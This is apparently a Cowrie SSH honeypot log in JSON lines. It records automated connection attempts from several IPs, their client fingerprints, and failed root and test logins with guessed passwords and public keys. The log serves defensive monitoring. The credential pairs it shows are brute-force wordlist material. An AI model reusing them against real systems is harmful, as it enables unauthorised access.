{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:41.774151Z","src_ip":"92.118.39.49","session":"0f60636b73b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:42.072392Z","src_ip":"92.118.39.49","session":"0f60636b73b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:43.174963Z","src_ip":"92.118.39.49","session":"0f60636b73b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":38364,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc0a7573e9a9","protocol":"ssh","message":"New connection: 185.242.3.195:38364 (10.17.0.5:22) [session: dc0a7573e9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:53.651714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:53.655205Z","src_ip":"185.242.3.195","session":"dc0a7573e9a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:53.742879Z","src_ip":"185.242.3.195","session":"dc0a7573e9a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer@123456","message":"login attempt [root/Qwer@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:54.003189Z","src_ip":"185.242.3.195","session":"dc0a7573e9a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:55.092540Z","src_ip":"185.242.3.195","session":"dc0a7573e9a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":33394,"dst_ip":"159.203.135.109","dst_port":22,"session":"090fa8f7bcf1","protocol":"ssh","message":"New connection: 41.242.115.84:33394 (159.203.135.109:22) [session: 090fa8f7bcf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:09.590219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:09.594023Z","src_ip":"41.242.115.84","session":"090fa8f7bcf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:09.802273Z","src_ip":"41.242.115.84","session":"090fa8f7bcf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"welcome","message":"login attempt [test/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:10.670357Z","src_ip":"41.242.115.84","session":"090fa8f7bcf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:11.881445Z","src_ip":"41.242.115.84","session":"090fa8f7bcf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.50.7","src_port":60714,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd64c89afbc5","protocol":"ssh","message":"New connection: 198.98.50.7:60714 (10.17.0.5:22) [session: cd64c89afbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:16.925018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:16.929243Z","src_ip":"198.98.50.7","session":"cd64c89afbc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:16.936400Z","src_ip":"198.98.50.7","session":"cd64c89afbc5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:57:3f:b0:40:5a:0d:eb:43:56:a2:91:cc:53:00:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC72800XSxr98IQXcpJxCg9Nvs+NQVZTJEQ0ykh7E/LhU0wyWDnCJB+xmiEdyx2rNkS+LQAMPRav/q33FwYOvq6OMwpXyaL88qwdY9P+zRIbnOTekwn2zGpKt12XCIwtrCX8Iyy8gFU24C0TWz2WHBMS2D4/bWR0c17UJC48eP4fJ02ZytB8luWc1ZX3sbpjZ+NSs8EggvWtskfhWQD4SB9iRXEUgTM0W0NiCXEYaQ0s8mpzxbakf9SVraugpA2Zct+R9M2D6Ngkkz4Ccof5dEAxefTNHxjtmIhkL88fXZxSrA/x4NY5m53aUT9wPcZXL+tDpvVfOxzQYpiph9X4RNt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:57:3f:b0:40:5a:0d:eb:43:56:a2:91:cc:53:00:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:16.954383Z","src_ip":"198.98.50.7","session":"cd64c89afbc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:57:3f:b0:40:5a:0d:eb:43:56:a2:91:cc:53:00:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC72800XSxr98IQXcpJxCg9Nvs+NQVZTJEQ0ykh7E/LhU0wyWDnCJB+xmiEdyx2rNkS+LQAMPRav/q33FwYOvq6OMwpXyaL88qwdY9P+zRIbnOTekwn2zGpKt12XCIwtrCX8Iyy8gFU24C0TWz2WHBMS2D4/bWR0c17UJC48eP4fJ02ZytB8luWc1ZX3sbpjZ+NSs8EggvWtskfhWQD4SB9iRXEUgTM0W0NiCXEYaQ0s8mpzxbakf9SVraugpA2Zct+R9M2D6Ngkkz4Ccof5dEAxefTNHxjtmIhkL88fXZxSrA/x4NY5m53aUT9wPcZXL+tDpvVfOxzQYpiph9X4RNt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:16.957497Z","src_ip":"198.98.50.7","session":"cd64c89afbc5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:24:9b:1e:97:2c:8e:be:6c:da:74:2a:dc:cc:03:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6v9FTfGuTBhfo8P2dRcGssG9yahXUyTRWg3fcZcXsuOyNxFGYL++qc5QLYjLmgym3HbrxP/e/F7A8XOcvlwP0Hw1TnQav5laBr6GJAMgoEuEPTfGnxkc0+UZB1xqG1eKvLU+2CcF33/arFHmCX/5XZyJrPy9r55zhlFrgvTqwF+1obe0z/RWFKxvtBWe2lV9zyFYhPTqcHl2o2UbFDDr3/tWInnAeXo0hKzAsyxoKoZ9T5kNAtO5enoe8KpsJu9Qdnpx1jY5fVTldkfdbp87ipZcG/mf+ZWTpzioNlHx1DArgdN4QCeiAixtiAkjYSESULLeJfzSaioVZjxe3b2OPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:24:9b:1e:97:2c:8e:be:6c:da:74:2a:dc:cc:03:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:16.964273Z","src_ip":"198.98.50.7","session":"cd64c89afbc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:24:9b:1e:97:2c:8e:be:6c:da:74:2a:dc:cc:03:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6v9FTfGuTBhfo8P2dRcGssG9yahXUyTRWg3fcZcXsuOyNxFGYL++qc5QLYjLmgym3HbrxP/e/F7A8XOcvlwP0Hw1TnQav5laBr6GJAMgoEuEPTfGnxkc0+UZB1xqG1eKvLU+2CcF33/arFHmCX/5XZyJrPy9r55zhlFrgvTqwF+1obe0z/RWFKxvtBWe2lV9zyFYhPTqcHl2o2UbFDDr3/tWInnAeXo0hKzAsyxoKoZ9T5kNAtO5enoe8KpsJu9Qdnpx1jY5fVTldkfdbp87ipZcG/mf+ZWTpzioNlHx1DArgdN4QCeiAixtiAkjYSESULLeJfzSaioVZjxe3b2OPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:16.968302Z","src_ip":"198.98.50.7","session":"cd64c89afbc5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:7d:7e:f9:c3:8c:f8:97:b3:6f:62:17:63:42:b3:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwXQEWOkcoZ4UslSO37yNkWqTA/DgGSRBOPJaTBAY1kwu2I3d2GQZmX9R28g71NLhtdP5XLK4D+fOGcXAMRT+rzbAKZB24g+bmI1vQ/pFhRlrX1v49crs2dUeGmrRqC5Iez9K3Jh1HpTUzTHKFoBNvYWX5AB22lCDiEvLbC2fZDPmJbAul+kYPVpbjDQ5ikGnqKuXLAji9QtZmu3qof+7sXK8vHntun9yDOhuS8phtXUA8hHnllVvSYYR4bShOJ1lnSFsyimWqqt1OSGPTO1Heh5q57YMOVo71Sq27ZhYCaU3jZ7MVFt1dkYGPk1zIMv8htLzgwY1GjFbCWE7HWCJXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:7d:7e:f9:c3:8c:f8:97:b3:6f:62:17:63:42:b3:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:16.975867Z","src_ip":"198.98.50.7","session":"cd64c89afbc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:7d:7e:f9:c3:8c:f8:97:b3:6f:62:17:63:42:b3:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwXQEWOkcoZ4UslSO37yNkWqTA/DgGSRBOPJaTBAY1kwu2I3d2GQZmX9R28g71NLhtdP5XLK4D+fOGcXAMRT+rzbAKZB24g+bmI1vQ/pFhRlrX1v49crs2dUeGmrRqC5Iez9K3Jh1HpTUzTHKFoBNvYWX5AB22lCDiEvLbC2fZDPmJbAul+kYPVpbjDQ5ikGnqKuXLAji9QtZmu3qof+7sXK8vHntun9yDOhuS8phtXUA8hHnllVvSYYR4bShOJ1lnSFsyimWqqt1OSGPTO1Heh5q57YMOVo71Sq27ZhYCaU3jZ7MVFt1dkYGPk1zIMv8htLzgwY1GjFbCWE7HWCJXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:16.978781Z","src_ip":"198.98.50.7","session":"cd64c89afbc5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:0a:4b:1a:76:2e:94:0a:a9:36:15:f8:ce:bd:8c:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDq9Mtckm8ktxySL0y+egq7HL2CSl00VDjjaX1kdwEvE6OEoEB5zVA3+P1eOcbNmx4ohUwot9Z5nj2iAGV4Iqs8W/XOXb0K3nHjUKInQDkkyvJ9AvifkcRQ2X8BLbtJr7eF/zhd022eCViSo1CEoHC6T3/O6egHvGqtfb1bOJw32s/gPHo8BjgjMkxj2AB0Tl4xd0KlBqT0WF8UiTHOYIaAK4xEETh8XnqAg78eEsPOGD4PhV0k3CPv28r7FDq+ES8qlfoTaPXUaZnrlu67UYbb+AOFOJP9XRG/15s+WLXdWZv4AvybepqnNkT/9fHqYUE/k/pyTiK/Rs7/apxqh29io93wPU0r3eRyeje2lztAPhJ3RfpaADxACn7FqdLNFxrpqrcS5lXLHD9DBcJnkJB7QxLEKOd8rXVPBRS2QS6cfavZ1AGRjDhaEXQu3cAJQnsQt0+CSeAWBAbu5tur7eWClUtFyM4HmcTJWE2oIuhH3Y5TqyuJinTtn7W8l//GxgE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:0a:4b:1a:76:2e:94:0a:a9:36:15:f8:ce:bd:8c:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:16.986188Z","src_ip":"198.98.50.7","session":"cd64c89afbc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:0a:4b:1a:76:2e:94:0a:a9:36:15:f8:ce:bd:8c:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDq9Mtckm8ktxySL0y+egq7HL2CSl00VDjjaX1kdwEvE6OEoEB5zVA3+P1eOcbNmx4ohUwot9Z5nj2iAGV4Iqs8W/XOXb0K3nHjUKInQDkkyvJ9AvifkcRQ2X8BLbtJr7eF/zhd022eCViSo1CEoHC6T3/O6egHvGqtfb1bOJw32s/gPHo8BjgjMkxj2AB0Tl4xd0KlBqT0WF8UiTHOYIaAK4xEETh8XnqAg78eEsPOGD4PhV0k3CPv28r7FDq+ES8qlfoTaPXUaZnrlu67UYbb+AOFOJP9XRG/15s+WLXdWZv4AvybepqnNkT/9fHqYUE/k/pyTiK/Rs7/apxqh29io93wPU0r3eRyeje2lztAPhJ3RfpaADxACn7FqdLNFxrpqrcS5lXLHD9DBcJnkJB7QxLEKOd8rXVPBRS2QS6cfavZ1AGRjDhaEXQu3cAJQnsQt0+CSeAWBAbu5tur7eWClUtFyM4HmcTJWE2oIuhH3Y5TqyuJinTtn7W8l//GxgE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:16.989118Z","src_ip":"198.98.50.7","session":"cd64c89afbc5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:4a:9f:a5:88:2d:cc:aa:9f:73:b4:b5:ec:9d:8f:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4Sy67tAC3fGlqGgGtwQMgzfDmMJ2hPZwi6fQHEyFcXR3nLqJuDKsWM7zxKLdB8+Fr/eR/dGTpawt0qXXQr2rakTHvaQrhvQsWD6vnbRRYCLziJEVWgvmn4tdWFHWCXDaur9WomRrmBSXNXjRXNxpHhI6ORAL0TGi+0mLhtXHUJuIEfm7VdtW+UCAIotU7pBXE1xVpBmQcS83pp8Ycf72gQlWjIn7gxklYQKqhWONo81rNnBK1sbOf8wcsDVCDHD0E0clm4q6VXlZPYLd7SGEzlplsIYM/Wj0c1FNfvlhK3iUgrxCn9wQ8nZAbuLVFPdJRhLf+41cvhbQnSs83oE03","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:4a:9f:a5:88:2d:cc:aa:9f:73:b4:b5:ec:9d:8f:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:16.996549Z","src_ip":"198.98.50.7","session":"cd64c89afbc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:4a:9f:a5:88:2d:cc:aa:9f:73:b4:b5:ec:9d:8f:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4Sy67tAC3fGlqGgGtwQMgzfDmMJ2hPZwi6fQHEyFcXR3nLqJuDKsWM7zxKLdB8+Fr/eR/dGTpawt0qXXQr2rakTHvaQrhvQsWD6vnbRRYCLziJEVWgvmn4tdWFHWCXDaur9WomRrmBSXNXjRXNxpHhI6ORAL0TGi+0mLhtXHUJuIEfm7VdtW+UCAIotU7pBXE1xVpBmQcS83pp8Ycf72gQlWjIn7gxklYQKqhWONo81rNnBK1sbOf8wcsDVCDHD0E0clm4q6VXlZPYLd7SGEzlplsIYM/Wj0c1FNfvlhK3iUgrxCn9wQ8nZAbuLVFPdJRhLf+41cvhbQnSs83oE03","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:16.999626Z","src_ip":"198.98.50.7","session":"cd64c89afbc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:17.008688Z","src_ip":"198.98.50.7","session":"cd64c89afbc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":53288,"dst_ip":"159.203.135.109","dst_port":22,"session":"672f4638033e","protocol":"ssh","message":"New connection: 66.29.142.197:53288 (159.203.135.109:22) [session: 672f4638033e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:36.280141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:36.284001Z","src_ip":"66.29.142.197","session":"672f4638033e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:36.350553Z","src_ip":"66.29.142.197","session":"672f4638033e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"G3m1n1$Tr0ng#P@ss","message":"login attempt [root/G3m1n1$Tr0ng#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:36.548240Z","src_ip":"66.29.142.197","session":"672f4638033e","protocol":"ssh"}
